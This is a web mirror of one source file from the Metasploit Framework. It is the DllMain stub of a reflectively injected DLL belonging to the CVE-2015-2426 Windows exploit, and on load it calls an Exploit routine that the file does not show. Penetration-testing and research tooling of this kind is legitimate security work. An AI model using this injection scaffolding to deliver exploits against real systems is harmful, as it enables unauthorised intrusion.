CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c
Views: 11789
1
//===============================================================================================//
2
// This is a stub for the actuall functionality of the DLL.
3
//===============================================================================================//
4
#include "ReflectiveLoader.h"
5
6
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
7
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
8
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
9
10
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
11
extern HINSTANCE hAppInstance;
12
//===============================================================================================//
13
14
#include "Exploit.h"
15
16
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
17
{
18
BOOL bReturnValue = TRUE;
19
switch( dwReason )
20
{
21
case DLL_QUERY_HMODULE:
22
if( lpReserved != NULL )
23
*(HMODULE *)lpReserved = hAppInstance;
24
break;
25
case DLL_PROCESS_ATTACH:
26
hAppInstance = hinstDLL;
27
Exploit(lpReserved);
28
break;
29
case DLL_PROCESS_DETACH:
30
case DLL_THREAD_ATTACH:
31
case DLL_THREAD_DETACH:
32
break;
33
}
34
return bReturnValue;
35
}
36